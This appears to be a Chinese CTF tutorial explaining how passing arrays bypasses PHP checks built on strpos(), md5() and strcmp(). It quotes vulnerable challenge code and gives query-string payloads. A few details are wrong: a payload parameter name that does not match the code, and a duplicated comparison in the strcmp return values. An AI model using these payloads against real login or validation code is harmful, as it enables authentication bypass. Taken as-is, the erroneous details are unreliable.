PHP数组绕过
绕过strops()函数
1. strops()定义:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos() 函数对大小写敏感。
2. strops()语法:
strpos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
find | 必需。规定要查找的字符串。 |
start | 可选。规定从何处开始搜索。 |
- 返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
字符串位置从 0 开始,不是从 1 开始。
漏洞原因
- 它不能对数组处理,如果是数组则返回null,null,也就不等于FALSE。
下面用南邮的一道ctf题举例:
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
这里首先看到的是get传参nctf,然后必须是数字,最后需要绕过strpos()函数
payload: ?ctf[]=1
绕过md5()函数判断
1. md5()定义:
- md5() 函数计算字符串的 MD5 散列。
2. md5()语法:
md5(string,raw)
参数 | 描述 |
---|---|
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式 |
- 返回值: 如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE。
二话不说直接看例子
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
要得到flag我们需满足三个if条件:
1. 同时传入a和b
2. a和b的值不能等
3. a和b的md5值需相等
漏洞原因
- md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
所以构造poc:
?a[]=0&b[]=1
绕过strcmp()函数
1. strcmp()定义:
- strcmp() 函数比较两个字符串。
strcmp() 函数是二进制安全的,且对大小写敏感。
2. strcmp()语法:
strcmp(string1,string2)
string1 | string2 |
---|---|
string1 | 必需。规定要比较的第一个字符串。 |
string2 | 必需。规定要比较的第二个字符串。 |
- 返回值:
- 如果两个字符串相等,返回0
- 如果string1 < string2,返回 <0
- 如果string1 < string2, 返回 >0
漏洞原因
- 5.2中 是将两个参数先转换成string类型。
- 5.3.3以后,当比较数组和字符串的时候,返回是0。
- 5.5中 如果参数不是string类型,直接return
所以会出现三种情形:
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
举例:
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
构造poc:
pass[]=aa //通过post提交
即可绕过strcmp()函数